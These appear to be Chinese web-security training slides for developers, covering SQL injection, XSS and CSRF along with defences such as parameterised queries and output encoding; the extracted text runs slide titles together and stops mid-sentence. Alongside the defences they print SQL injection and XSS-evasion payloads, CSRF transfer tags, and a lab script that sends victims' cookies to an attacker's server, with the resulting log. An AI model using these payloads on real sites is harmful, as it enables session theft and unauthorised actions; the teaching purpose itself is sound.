web開發(fā)安全技術(shù)培訓(xùn)教程課件

Web開發(fā)安全技術(shù)培訓(xùn)教程（2011年07月）Web開發(fā)安全技術(shù)（2011年07月）目錄

概述為什么要重視WEB安全技術(shù)Web系統(tǒng)逐漸成為企業(yè)安全邊界之一Web應(yīng)用攻擊場景

WEB應(yīng)用攻擊動機…

WEB代碼常見的安全問題程序安全開發(fā)流程

程序開發(fā)安全具體措施平臺部署與維護具體措施目錄概述為什么要重視WEB的安全漏洞

現(xiàn)在我們公司很多的平臺（沖浪、企業(yè)商盟等平臺）是依賴于互聯(lián)網(wǎng)構(gòu)建核心業(yè)務(wù)的，當(dāng)前移動局方對網(wǎng)站的安全性要求提到空前的高度，網(wǎng)絡(luò)部周期性的進行安全掃描，并把掃出的漏洞納入到考核扣分。而在現(xiàn)實世界中，針對網(wǎng)站的攻擊愈演愈烈，頻頻得手。

“目前，75%的攻擊發(fā)生在WEB應(yīng)用層”

—國際權(quán)威機構(gòu)Gartner“2006年前9個月內(nèi)新發(fā)現(xiàn)4,375個漏洞.Web漏洞是其中最普遍的三類之一.”

—MitreCorp,09/2006，CVE的維護者 “產(chǎn)品的定制開發(fā)是應(yīng)用安全中最薄弱的一環(huán)”.

—Gartner為什么要重視WEB的安全漏洞現(xiàn)在我們公司很多的Web系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務(wù)器應(yīng)用服務(wù)器數(shù)據(jù)庫WebServices文件目錄其它關(guān)聯(lián)系統(tǒng)WEB應(yīng)用程序WEB應(yīng)用層攻擊僅僅使用網(wǎng)絡(luò)層的防護手段(防火墻,SSL,IDS,IPS,加固)無法阻止或檢測到WEB應(yīng)用層攻擊

網(wǎng)絡(luò)層應(yīng)用層應(yīng)用層作為安全邊界的一部分，或許有巨大的漏洞防火墻IDS

IntrusionDetectionSystems，入侵檢測系統(tǒng)IPSIntrusionPreventionSystem,入侵防御系統(tǒng)Web系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務(wù)器Web應(yīng)用攻擊場景攻擊動機攻擊方法攻擊工具系統(tǒng)漏洞防范措施攻擊面（attacksurface）Web服務(wù)器黑客Web應(yīng)用攻擊場景攻擊動機攻擊方法攻擊工具系統(tǒng)漏洞防范措施攻Web攻擊動機常見Web攻擊動機惡作??；關(guān)閉Web站點，拒絕正常服務(wù)；篡改Web網(wǎng)頁，損害企業(yè)名譽；免費瀏覽收費內(nèi)容；盜竊用戶隱私信息，例如Email；以用戶身份登錄執(zhí)行非法操作，從而獲取暴利；以此為跳板攻擊企業(yè)內(nèi)網(wǎng)其他系統(tǒng)；網(wǎng)頁掛木馬，攻擊訪問網(wǎng)頁的特定用戶群；仿冒系統(tǒng)發(fā)布方，誘騙用戶執(zhí)行危險操作，例如用木馬替換正常下載文件，要求用戶匯款等；……Web攻擊動機常見Web攻擊動機Web攻擊方法收集系統(tǒng)相關(guān)的通用信息將系統(tǒng)所有能訪問頁面，所有的資源，路徑展現(xiàn)出來URL、口令、數(shù)據(jù)庫字段、文件名都可以暴力猜解，注意利用工具；利用Web漏洞掃描器，可以盡快發(fā)現(xiàn)一些明顯的問題錯誤可能泄露服務(wù)器型號版本、數(shù)據(jù)庫型號、路徑、代碼；搜索Google，CVE,BugTraq等漏洞庫是否有相關(guān)的漏洞服務(wù)器后臺管理頁面，路徑是否可以列表等是否可以上傳惡意代碼？是否可以任意下載系統(tǒng)文件？檢查所有可以輸入的地方：URL、參數(shù)、Post、Cookie、Referer、Agent、……系統(tǒng)是否進行了嚴格的校驗？HTTP協(xié)議是文本協(xié)議，可利用回車換行做邊界干擾用戶輸入是否可以影響服務(wù)器的執(zhí)行？需要特殊工具才能利用這些攻擊點復(fù)雜的業(yè)務(wù)邏輯中是否隱藏漏洞？常見Web攻擊方法Googlehack網(wǎng)頁爬行暴力猜解Web漏洞掃描錯誤信息利用根據(jù)服務(wù)器版本尋找現(xiàn)有的攻擊代碼利用服務(wù)器配置漏洞文件上傳下載構(gòu)造惡意輸入（SQL注入攻擊、命令注入攻擊、跨站腳本攻擊）HTTP協(xié)議攻擊拒絕服務(wù)攻擊其他攻擊點利用（WebServices,Flash,Ajax,ActiveX,JavaApplet）業(yè)務(wù)邏輯測試……Web攻擊方法收集系統(tǒng)相關(guān)的通用信息常見Web攻擊方法訪問資源名稱GET與POST參數(shù)Referer與UserAgentHTTP方法CookieAjaxWebServiceFlash客戶端JavaAppletWeb攻擊面：不僅僅是瀏覽器中可見的內(nèi)容直接可在瀏覽器中利用的輸入所有輸入點更多輸入點黑客實際利用的輸入點http請求頭域訪問資源名稱GET與POST參數(shù)Referer與UserAHTTP域變量的說明Host頭域

Host頭域指定請求資源的Intenet主機和端口號，必須表示請求url的原始服務(wù)器或網(wǎng)關(guān)的位置。HTTP/1.1請求必須包含主機頭域，否則系統(tǒng)會以400狀態(tài)碼返回。Referer頭域

Referer頭域允許客戶端指定請求uri的源資源地址，這可以允許服務(wù)器生成回退鏈表，可用來登陸、優(yōu)化cache等。他也允許廢除的或錯誤的連接由于維護的目的被追蹤。如果請求的uri沒有自己的uri地址，Referer不能被發(fā)送。如果指定的是部分uri地址，則此地址應(yīng)該是一個相對地址Range頭域 Range頭域可以請求實體的一個或者多個子范圍。例如， *表示頭500個字節(jié)：bytes=0-499 *表示第二個500字節(jié)：bytes=500-999 *表示最后500個字節(jié)：bytes=-500 *表示500字節(jié)以后的范圍：bytes=500- *第一個和最后一個字節(jié)：bytes=0-0,-1*同時指定幾個范圍：bytes=500-600,601-999

但是服務(wù)器可以忽略此請求頭，如果無條件GET包含Range請求頭，響應(yīng)會以狀態(tài)碼206（PartialContent）返回而不是以200（OK）。User-Agent頭域

User-Agent頭域的內(nèi)容包含發(fā)出請求的用戶信息。

HTTP域變量的說明Host頭域開發(fā)者的關(guān)注點而Web系統(tǒng)的安全性參差不齊……復(fù)雜應(yīng)用系統(tǒng)代碼量大、開發(fā)人員多、難免出現(xiàn)疏忽；系統(tǒng)屢次升級、人員頻繁變更，導(dǎo)致代碼不一致；歷史遺留系統(tǒng)、試運行系統(tǒng)等多個Web系統(tǒng)共同運行于同一臺服務(wù)器上；開發(fā)人員未經(jīng)過安全編碼培訓(xùn)；定制開發(fā)系統(tǒng)的測試程度不如標準的產(chǎn)品；……客戶滿意界面友好操作方便處理性能實現(xiàn)所有功能架構(gòu)合理代碼修改方便運行穩(wěn)定沒有bug不同模塊低耦合相對安全性而言，開發(fā)人員更注重系統(tǒng)功能！開發(fā)進度與成本開發(fā)者的關(guān)注點而Web系統(tǒng)的安全性參差不齊……復(fù)雜應(yīng)用系統(tǒng)代WEB安全的漏洞報告平臺和開源合作組織通過WooYun查詢到的中國移動的安全漏洞情況如下圖所示：WooYun（/index.php）是一個位于廠商和安全研究者之間的漏洞報告平臺，你可以通過這個平臺來接受大家報告漏洞也可以通過這個平臺來報告漏洞WebScarab是OWASP組織推出的開源工具，可應(yīng)用于一切基于HTTP協(xié)議系統(tǒng)的調(diào)試與攻擊；WEB安全的漏洞報告平臺和開源合作組織通過WooYun查詢到Web攻擊漏洞：安全漏洞庫Web攻擊漏洞：安全漏洞庫目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序安全開發(fā)流程目錄概述Web代碼常見的安全問題有哪些（一）分類常見漏洞后果1.輸入輸出驗證不充分SQL注入如果Web應(yīng)用沒有對攻擊者的輸入進行適當(dāng)?shù)木幋a和過濾，就用于構(gòu)造數(shù)據(jù)庫查詢時，可能導(dǎo)致注入漏洞。

攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見的數(shù)據(jù)庫查詢（即SQL注入攻擊）。命令注入與SQL注入類似，攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見的命令（即命令注入攻擊）或數(shù)據(jù)庫查詢（即SQL注入攻擊）。跨站腳本漏洞(XSS)攻擊者可利用XSS在其他用戶的瀏覽器中運行惡意腳本，偷竊用戶的會話，或是偷偷模擬用戶執(zhí)行非法的操作；跨站點請求偽造（CSRF）CSRF攻擊即攻擊者在用戶未察覺的情況下，迫使用戶的瀏覽器發(fā)起未預(yù)見的請求，其結(jié)果往往損害用戶本身的利益。惡意代碼執(zhí)行

（文件包含漏洞/文件上傳驗證不充分）如果Web應(yīng)用允許用戶上傳文件，對上傳文件名未作適當(dāng)?shù)倪^濾時，用戶可能上載惡意的腳本文件（如ASP，PHP等）；

腳本文件在Include子文件時，如果Include路徑可以被用戶輸入影響，那么可能造成實際包含的是黑客指定的惡意代碼；對象直接引用

（文件下載驗證不充分）訪問內(nèi)部資源時，如果訪問的路徑（對文件而言是路徑，對數(shù)據(jù)庫而言是主鍵）可被攻擊者篡改，而系統(tǒng)未作權(quán)限控制與檢查的話，可能導(dǎo)致攻擊者利用此訪問其他未預(yù)見的資源；整數(shù)溢出int變量計算越界，溢出了。Java浮點數(shù)拒絕服務(wù)漏洞float變量越界XPath注入攻擊一些人已經(jīng)使用XML文檔代替更傳統(tǒng)的純文本文件或關(guān)系數(shù)據(jù)庫，但XML應(yīng)用程序容易受XPath注入攻擊Web代碼常見的安全問題有哪些（一）分類常見漏洞后果1.輸入Web代碼常見的安全問題有哪些（二）分類常見漏洞2.邏輯缺陷越權(quán)操作驗證繞過程序流程失誤變量注冊順序JS劫持隨機數(shù)生成API調(diào)用缺陷3.容錯處理不當(dāng)泄露系統(tǒng)信息4.工作平臺安全特性Apache文件名解析漏洞Nginx文件名解析漏洞Struts2框架任意代碼執(zhí)行FLASH安全策略Web代碼常見的安全問題有哪些（二）分類常見漏洞2.邏輯缺陷輸入輸出驗證原則驗證內(nèi)容驗證所有來源的輸入（get/post/cookie/server變量/配置文件）驗證所有輸出到客戶端的內(nèi)容，輸出數(shù)據(jù)HTML編碼.建立可信邊界驗證方法驗證數(shù)據(jù)的長度、大小、格式、類型以及內(nèi)容使用服務(wù)器端代碼做最終驗證（注：客戶端腳本可以被篡改，如果為了顧全體驗，部分重要數(shù)據(jù)一定要用服務(wù)器驗證。）不使用黑名單驗證數(shù)據(jù)(最好采用白名單進行驗證，類似防火墻的最小權(quán)限策略）數(shù)據(jù)非法，程序停止執(zhí)行，切勿試圖修正數(shù)據(jù)。（可以避免二次攻擊）輸入輸出驗證原則驗證內(nèi)容目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序安全開發(fā)流程目錄概述

SQL注入(SQLInjection)定義：由于程序中對用戶輸入檢查不嚴格，用戶可以提交一段數(shù)據(jù)庫查詢代碼，根據(jù)程序返回的結(jié)果，獲得某些他想得知的數(shù)據(jù)，這就是所謂的SQLInjection，即SQL注入。原因分析其本質(zhì)是對于輸入檢查不充分，導(dǎo)致SQL語句將用戶提交的非法數(shù)據(jù)當(dāng)作語句的一部分來執(zhí)行。由于我們的部分WEB應(yīng)用，采用Jsp+JavaBean或SSH框架，代碼中會有直接寫SQL（或HQL）語句，而有些SQL是用拼串實現(xiàn)的。風(fēng)險SQL盲注：如果系統(tǒng)屏蔽了詳細的錯誤信息，那么對攻擊者而言就是盲注入，可能會查看、修改或刪除數(shù)據(jù)庫條目和表使用SQL注入的認證旁路：可能會繞開Web應(yīng)用程序的認證機制SQL注入(SQLInjection)定義：SQL注入：數(shù)字參數(shù)(一)/login.asp管理員管理員程序員考慮的場景:Username:adminPassword:p@$$w0rdSELECTCOUNT(*)FROMUsersWHEREusername='admin'andpassword='p@$$w0rd'登錄成功！SQL注入：數(shù)字參數(shù)(一)/login.asp管理員管理員程序員未預(yù)料到的結(jié)果……Username:admin'OR1=1--Password:1SELECTCOUNT(*)FROMUsersWHEREusername='admin'OR1=1--

'andpassword='1'SQL注入：數(shù)字參數(shù)（二）/login.jsp攻擊者登錄成功！‘是SQL字符串變量的定界符攻擊關(guān)鍵通過定界符成功地將攻擊者的意圖注入到SQL語句中！通過注釋保證SQL語句正確！--是MSSQL的注釋符ORACLE：

用戶名字段中輸入：‘or’1‘=’1‘or’1‘=’1

或是在密碼字段中輸入：

1'or'1'='1程序員未預(yù)料到的結(jié)果……SQL注入：數(shù)字參數(shù)（二）/logSQL注入：數(shù)字參數(shù)（三）管理員程序員考慮的場景:age:20SELECTname,age,locationFROMUsersWHEREage>20程序員未預(yù)料到的結(jié)果……age:1000000unionselectname,age,passwordfromusersSELECTname,age,locationFROMUsersWHEREage>999union

selectname,age,passwordfromusersFact：大多數(shù)程序員都注意到了’的問題，他們用’’來代替用戶輸入的’，從而防止字符串SQL注入；但很多人缺忽略了同樣嚴重的數(shù)字注入問題。其防范方法是檢查用戶輸入的數(shù)字是否合法。Union暴庫是常見的注入方法Union語法要求前后兩句SQL中Select的數(shù)據(jù)項類型和數(shù)量一致;這兩句sql都符合string,int,string的模式>999是不可能符合的條件，這樣union的結(jié)果就只剩第二句sql查詢的內(nèi)容SQL注入：數(shù)字參數(shù)（三）管理員程序員考慮的場景:程序員未SQL注入：規(guī)避SQL注入嚴格限定參數(shù)類型

明確參數(shù)檢驗的邊界，必須在服務(wù)端執(zhí)行數(shù)據(jù)驗證采用參數(shù)化查詢的方法（推薦）內(nèi)置過濾系統(tǒng)（本質(zhì)是黑名單，很常見但是不推薦）SQL注入：規(guī)避SQL注入嚴格限定參數(shù)類型SQL注入：安全編碼安全編碼不難，真正困難的是如何做到全面安全，這需要良好的程序設(shè)計以及編碼習(xí)慣。支離破碎的設(shè)計與隨意混雜的編碼難以開發(fā)出安全的系統(tǒng)。各種語言與數(shù)據(jù)庫的實際情況也有所區(qū)別，所以需要具體問題具體分析。1.輸入驗證數(shù)字型的輸入必須是合法的數(shù)字；字符型的輸入中對’進行特殊處理；驗證所有的輸入點，包括Get，Post，Cookie以及其他HTTP頭；2.使用符合規(guī)范的數(shù)據(jù)庫訪問語句正確使用靜態(tài)查詢語句，如PreparedStatementSQL注入：安全編碼安全編碼不難，真正困難的是如何做到全面安SQL注入：PreparedStatement在JSP中要禁止使用Statement，如下的代碼會導(dǎo)致SQL注入：BubbleStringsql=“select*fromUserswherename=”+name;

PreparedStatementpstmt=con.prepare(sql);Stringsql=“select*fromproductwherecat=’?’andprice>’?’”

PreparedStatementpstmt=con.prepare(sql);

pstmt.setInt(1,request.getParameter(“cat”));

pstmt.setString(2,request.getParameter(“price”));

ResultSetrs=pstmt.executeQuery();Statementstmt=con.createStatement();stmt.executeUpdate("select*fromUserswherename="+name);應(yīng)當(dāng)全部使用PreparedStatement來防止SQL注入但是在使用PreparedStatement，也要注意符合編碼規(guī)范，如下的方法也會導(dǎo)致SQL注入：安全危險危險SQL注入：PreparedStatement在JSP中要SQL注入：數(shù)據(jù)庫加固除了在代碼設(shè)計開發(fā)階段預(yù)防SQL注入外，對數(shù)據(jù)庫進行加固也能夠把攻擊者所能造成的損失控制在一定范圍內(nèi)；主要包括：最小權(quán)限原則，禁止將任何高權(quán)限帳戶（例如sa，dba等等）用于應(yīng)用程序數(shù)據(jù)庫訪問。更安全的方法是單獨為應(yīng)用創(chuàng)建有限訪問帳戶。拒絕用戶訪問敏感的系統(tǒng)存儲過程，如前面示例的xp_dirtree,xp_cmdshell等等；限制用戶所能夠訪問的數(shù)據(jù)庫表；SQL注入：數(shù)據(jù)庫加固除了在代碼設(shè)計開發(fā)階段預(yù)防SQL注入外目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序安全開發(fā)流程目錄概述跨站腳本漏洞(XSS)定義

它指的是惡意攻擊者往Web頁面里插入惡意html代碼，當(dāng)用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執(zhí)行，從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊，因為其被動且不好利用，所以許多人常忽略其危害性。分類持久型XSS（Persistent），與非持久型XSS相反，它是指通過提交惡意數(shù)據(jù)到服務(wù)器，通過Web應(yīng)用程序輸出惡意數(shù)據(jù)輸出到頁面，持久型XSS多出現(xiàn)在Web郵箱、BBS、社區(qū)等從數(shù)據(jù)庫讀出數(shù)據(jù)的正常頁面（比如BBS的某篇帖子中可能就含有惡意代碼）非持久型XSS（Non-persistent），即反射型,它是指那些瀏覽器每次都要在參數(shù)中提交惡意數(shù)據(jù)才能觸發(fā)的跨站腳本漏洞。

XSS本質(zhì)是在于執(zhí)行腳本[javascript/html等]，攻擊者的js能力越強攻擊效果越驚人！跨站腳本漏洞(XSS)定義XSS本質(zhì)是在于執(zhí)行腳本[jav持久XSS-攻擊簡介（PersistentXSS）1.正常服務(wù)器信息2.服務(wù)器存儲惡意代碼3.用戶瀏覽網(wǎng)頁4.服務(wù)器將惡意代碼返回給用戶5.客戶端瀏覽器執(zhí)行惡意代碼攻擊者普通用戶客戶端Web服務(wù)器在論壇發(fā)帖子：免費獲取Q幣?。?！<script>惡意代碼</script>重要通知Re:沙發(fā)??！Re:地板？Re:地下室沙發(fā)……Re:地下室地板-_-!!Re：免費獲取Q幣?。。?nèi)容：<script>惡意代碼</script>Re:誰又發(fā)垃圾廣告啦？惡意代碼執(zhí)行！21345持久XSS-攻擊簡介（PersistentXSS）1.正持久XSS攻擊實驗(一)Step1.以test用戶登錄培訓(xùn)論壇發(fā)表新帖子，內(nèi)容如下：<script>alert(‘hello’)</script>學(xué)員練習(xí)3Min持久XSS攻擊實驗(一)Step1.以test用戶登錄培訓(xùn)持久XSS攻擊實驗Step2.以admin用戶登錄培訓(xùn)論壇瀏覽剛才那個新帖子。學(xué)員練習(xí)3Min惡意代碼執(zhí)行！持久XSS攻擊實驗Step2.以admin用戶登錄培訓(xùn)論壇瀏覽器瀏覽器Outlook正常訪問惡意代碼隱藏在鏈接中“reflected”代碼1反射XSS-攻擊簡介（ReflectedXSS）From:攻擊者To:用戶免費贈送Q幣！??！CLICKHERE惡意代碼安全上下文:目標站點普通合法會話安全上下文:目標站點攻擊者Web服務(wù)器普通用戶客戶端12345惡意代碼執(zhí)行！瀏覽器瀏覽器Outlook正常訪問惡意代碼隱藏在鏈接中“re反射XSS攻擊實驗(一)Step1.以test用戶登錄培訓(xùn)論壇發(fā)表新帖子，在瀏覽器網(wǎng)址處修改Forum_Title參數(shù)，觀察結(jié)果：學(xué)員練習(xí)3MinURL中的字符通過服務(wù)器“反射”到瀏覽器中反射XSS攻擊實驗(一)Step1.以test用戶登錄培訓(xùn)反射XSS攻擊實驗(二)Step1.把Forum_Title修改為：<script>alert(‘hello’)</script>學(xué)員練習(xí)3MinURL中的字符通過服務(wù)器“反射”到瀏覽器中惡意代碼執(zhí)行！反射XSS攻擊實驗(二)Step1.把Forum_TitXSS包括兩種類型：持久式XSS：惡意代碼持久保存在服務(wù)器上。即Persistent。反射式XSS：惡意代碼不保留在服務(wù)器上，而是通過其他形式實時通過服務(wù)器反射給普通用戶。 XSS漏洞可利用的標志就是“Hello!”，一旦示意代碼可以在用戶的瀏覽器中執(zhí)行，其后可實現(xiàn)的攻擊行為與來源是持久還是反射無關(guān)?？梢岳肵SS發(fā)起CSRF攻擊或盜取用戶身份。XSS:兩種類型總結(jié)XSS包括兩種類型：XSS:兩種類型總結(jié)XSS漏洞：sinaweiboxss蠕蟲事件分析新浪XSS事件

2011年6月28日，新浪微博出現(xiàn)了一次比較大的XSS攻擊事件。三萬多用戶自動發(fā)送諸如：“郭美美事件的一些未注意到的細節(jié)”，“驚爆!范冰冰艷照真流出了”等等微博和私信，并自動關(guān)注一位名為hellosamy的用戶[JS代碼參考]：結(jié)論：他是利用了反射型XSS并通過短域名隱藏了xss代碼

把一段腳本注入到服務(wù)器上，用戶訪問方法服務(wù)器的某個URL，這個URL就會把遠端的js注入進來，這個js有可能自動進行很多操作。比如這次事件中的幫你發(fā)微博，幫你發(fā)站內(nèi)消息等XSS漏洞：sinaweiboxss蠕蟲事件分析新浪XS統(tǒng)一輸入處理并不能完全考慮到輸出語境的不同，例如有時會輸出為文本文件，經(jīng)過html編碼的語句在文本文件中會出現(xiàn)亂碼；而且可能存在其他來源的數(shù)據(jù)，例如其他接口系統(tǒng)，歷史殘留數(shù)據(jù)等，無法通過輸入處理解決。在不允許html執(zhí)行的語境中，采用編碼是相對安全的解決方法。但是如果輸入被用于構(gòu)造javascript語句，html編碼則無法解決問題。當(dāng)您需要允許少數(shù)的html標簽子集時，只能采用過濾的方法。但是由于HTML的復(fù)雜性以及瀏覽器的松散解釋特性，攻擊者常?？梢哉业嚼@過過濾的方法。XSS漏洞：編碼階段防范措施Bubble在設(shè)計開發(fā)階段就考慮XSS問題，是最有效的防范辦法；輸出是XSS最終生效的地方，因此在此處理是最全面的。但輸出往往需要開發(fā)者逐個處理，因此非常繁瑣，一旦開發(fā)者疏忽，就容易造成漏洞。輸入編碼輸入過濾輸出編碼輸出過濾編碼：直接將HTML標簽最關(guān)鍵的字符<>&編碼為<>&過濾：將script,style,iframe,onmouseover等有害字符串去掉，但是保留<>&，因為需要有限地支持一些基本的標簽各種方法都有優(yōu)劣之處，防范XSS的真正挑戰(zhàn)在于全面。統(tǒng)一輸入處理并不能完全考慮到輸出語境的不同，例如有時會輸出為如果只采用過濾，很難考慮完備：XSS漏洞：過濾是最低效的方法<SCRIPT>alert("XSS");</SCRIPT><SCRIPTSRC=/xss.js></SCRIPT><IMGSRC=JaVaScRiPt:alert("XSS")>?script?alert(￠XSS￠)?/script?<IMGSRC=javascript:alert('XSS')><STYLE>@import'/xss.css';</STYLE><EMBEDSRC=/xss.swfAllowScriptAccess="always"></EMBED>更多實例可見：/xss.html綜合起來有91種HTML標簽,十多種編碼方式,數(shù)種對象類型…MySpace即采用的過濾如果只采用過濾，很難考慮完備：XSS漏洞：過濾是最低效的方法XSS漏洞：轉(zhuǎn)義Stringtitle=request.getParameter(“title”);Stringid=request.getParameter(“id”);….<span><%=title%></span><span><%=contect%></span>Stringtitle=request.getParameter(“title”);Stringid=request.getParameter(“id”);….<span><%=xss.HtmlEncoder(title,”HTML”)%></span><span><%=xss.HtmlEncoder(contect,”HTML”)%></span>把輸入的值轉(zhuǎn)義成html代碼對策：轉(zhuǎn)義比過濾更好安全危險XSS漏洞：轉(zhuǎn)義Stringtitle=requestXSS漏洞：防范措施總結(jié)一.過濾：有時候過濾會導(dǎo)致意外的結(jié)果，例如alice’s變成了alices。有時候需要多次過濾，例如<scrip<script>t>過濾掉<script>后還是<script>。需要注意多個過濾器的先后次序。當(dāng)多個過濾器一起生效時，有可能后進行的過濾導(dǎo)致前面的過濾失效。例如過濾器1要過濾ABC，過濾器2要過濾DEF，那么ABDEFC在依次通過1，2過濾器后變成了ABC，這樣相當(dāng)于繞開過濾器1。二.輸入編碼：輸入編碼往往可以有全局的解決方案，從設(shè)計的角度來看，這是最佳的。一旦數(shù)據(jù)已經(jīng)入庫，就難以用輸出編碼處理。三.輸出編碼：輸出編碼有助于開發(fā)者細粒度控制輸出，但也導(dǎo)致了工作量的增加。輸出編碼可以解決輸入編碼無法處理的已入庫數(shù)據(jù)。四.用戶安全加固：小心點擊來源不明的URL。對瀏覽器進行安全加固，例如禁止ActiveX。永遠不要點擊自動登錄信息！XSS漏洞：防范措施總結(jié)一.過濾：二.輸入編碼：三.輸出編碼目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序安全開發(fā)流程目錄概述

跨站請求偽造(cross-siterequestforgery)通?？s寫為XSRF。攻擊流程XSRF攻擊流程如上圖所示，從上圖可以看出，要完成一次XSRF攻擊，比較關(guān)鍵的三個問題：

1)會話狀態(tài)[A]的保持，即用戶已經(jīng)獲取了易受攻擊網(wǎng)站A的信任授權(quán)。

2)用戶在依然保持沒有登出易受攻擊網(wǎng)站A的情況下，訪問了“第三方網(wǎng)站”。

3)提交的“操作”數(shù)據(jù)包是可以預(yù)知的。跨站請求偽造（XSRF

）跨站請求偽造(cross-siterequest風(fēng)險

可能會竊取或操縱客戶會話和

cookie，它們可能用于模仿合法用戶，從而使黑客能夠以該用戶身份查看或變更用戶記錄以及執(zhí)行事務(wù)

原因分析

應(yīng)用程序使用的認證方法不充分典型攻擊方式在頁面中加入一個<img>標簽，瀏覽器就會發(fā)送一個請求，以獲取其src屬性引用的值。攻擊者將敏感操作的URI作為src繼承Cookie，以瀏覽者的身份作敏感訪問并操作危害：在用戶無意識情況下進行危險操作跨站請求偽造（XSRF）誕生于2000年，火于2007/2008年90%的網(wǎng)站存在此類漏洞風(fēng)險跨站請求偽造（XSRF）誕生于2000年，火于2007CSRF：案例1案例1：A站點上的代碼A站點代碼：惡意站點上的代碼<imgsrc=http://siteA/updateuser.jsp?user=admin&pass=123456>Stringuser=request.getParameter(“user”);Stringpass=request.getParameter(“pass”);PreparedStatementps=con.prepareStatement(“updateUserTBsetpassword=?Whereuser=?”);ps.setString(1,user);ps.setString(2,pass);con.executeUpdate();CSRF：案例1案例1：Stringuser=requCSRF：案例2案例2：支持通過保留cookie自動登錄的功能，這樣在cookie有效期內(nèi)，用戶訪問就會以他們上次在此主機登錄的用戶名自動登錄（例如Gmail的Remembermeonthiscomputer）。另外，上有個鏈接可以通過get直接給指定對象轉(zhuǎn)賬，例如：/transfer.do?acct=Alice&amout=1，只要Bob登錄并訪問這個鏈接，就會自動向Alice轉(zhuǎn)賬1元。現(xiàn)在Alice發(fā)送給Bob一份郵件，里面嵌入如下的圖像標簽：<imgsrc="/transfer.do?acct=Alice&amount=100"width=“0"height=“0"border="0">當(dāng)Bob打開郵件時，他不知道這個惡意的HTML標簽已經(jīng)從他賬戶里轉(zhuǎn)賬100元到Alice。CSRF：案例2案例2：解決方案檢查

HTTP頭部

Refer信息

Server端在收到請求之后，可以去檢查這個頭信息，只接受來自本域的請求而忽略外部域的請求使用一次性令牌每個請求都帶上一個由服務(wù)器生成的隨機參數(shù)。然后在服務(wù)器端核對該參數(shù)，如果和下發(fā)的隨機數(shù)不同，則可以認為有人在偽造請求。因為攻擊者無法知道他本次攻擊的http請求需要帶什么樣的隨機數(shù)才是有效的。使用驗證圖片圖片驗證信息很難被惡意程序在客戶端識別，因此能夠提高更強的保護

判斷HTTP請求類型

采用request.getMethod()判斷請求的方式是否POST

直接獲取數(shù)據(jù)對request再次封裝,直接獲取form的數(shù)據(jù)不接收URL的，request.getForm(“user”)XSRF：規(guī)避方法解決方案XSRF：規(guī)避方法XSS：惡意腳本通過服務(wù)器回顯到用戶瀏覽器中執(zhí)行。CSRF：（可能是惡意腳本，也可能是惡意的HTML標簽；可能經(jīng)過服務(wù)器的回顯，也可能完全不經(jīng)過）使得瀏覽器發(fā)起了攻擊性的請求。CSRF與XSS的區(qū)別前面的案例2是一個典型的CSRF:沒有腳本，沒有服務(wù)器回顯，但偽造了一個攻擊性的請求。您也可以把他們視為同類，都是在攻擊者、網(wǎng)站、受害者（瀏覽器）三個Player間，利用HTML的特性（標簽或是腳本），實現(xiàn)的攻擊性行為。XSS更像漏洞，CSRF更像攻擊；只要有XSS，就可以發(fā)起CSRF類似攻擊。下面通過兩個對比案例的實踐來體會一下XSS和CSRF的區(qū)別XSS：惡意腳本通過服務(wù)器回顯到用戶瀏覽器中執(zhí)行。CSRF與XSSCase1:反射XSS偷竊CookieStep1.準備工作：攻擊者本機需要安裝WebServer(以Apache為例)，確認受害者能夠連接到該服務(wù)器(如下圖第5點所示)；啟動apache服務(wù)器；將a.js拷貝到apache/htdocs目錄下，并本地試驗?zāi)軌蛳螺dhttp://ip/a.js文件學(xué)員練習(xí)15Min瀏覽器瀏覽器Outlook正常訪問惡意代碼隱藏在鏈接中“reflected”代碼1免費贈送Q幣！??！CLICKHERE安全上下文:目標站點安全上下文:目標站點攻擊者Web服務(wù)器受害者客戶端12345惡意代碼執(zhí)行！XSSCase1:反射XSS偷竊CookieStep1XSSCase1:反射XSS偷竊Cookiea.js內(nèi)容如下：學(xué)員練習(xí)15Min攻擊者Web服務(wù)器URL大小為0的iframe，增強隱蔽性將字符編碼傳送varcode;vartarget="/?";

info=escape(document.cookie);target=target+info;code="<iframestyle='display:none;'src=";code=code+target;code=code+"width=0height=0></iframe>";document.write(code);XSSCase1:反射XSS偷竊Cookiea.js內(nèi)容XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep2-a.本地試驗：本機訪問培訓(xùn)論壇，并訪問發(fā)帖頁面將Forum_Title修改為<scriptsrc="/a.js"></script>訪問這個鏈接XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep2-b.本地試驗：打開Apache/log/目錄，查看access.log的修改時間就是剛才；打開access.log文件，檢查最后一條是否如下：--[24/Sep/2007:18:09:17+0800]"GET/?Snitz00User%3DCookies%3D%26Pword%3Dtest%26Name%3Dtest%3B%20%252Fbbs%252Fpaging%3Doutbox%3Ddouble%3B%20iscookies%3D0%3B%20BoardList%3DBoardID%3DShow%3B%20ASPSESSIONIDACDDASQD%3DEEOFEIKDNMPMNBKKJMPGENGE%3B%20%252Fbbs%252FstrSelectSizeHTTP/1.1"20044XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep3-a.模擬釣魚由于鏈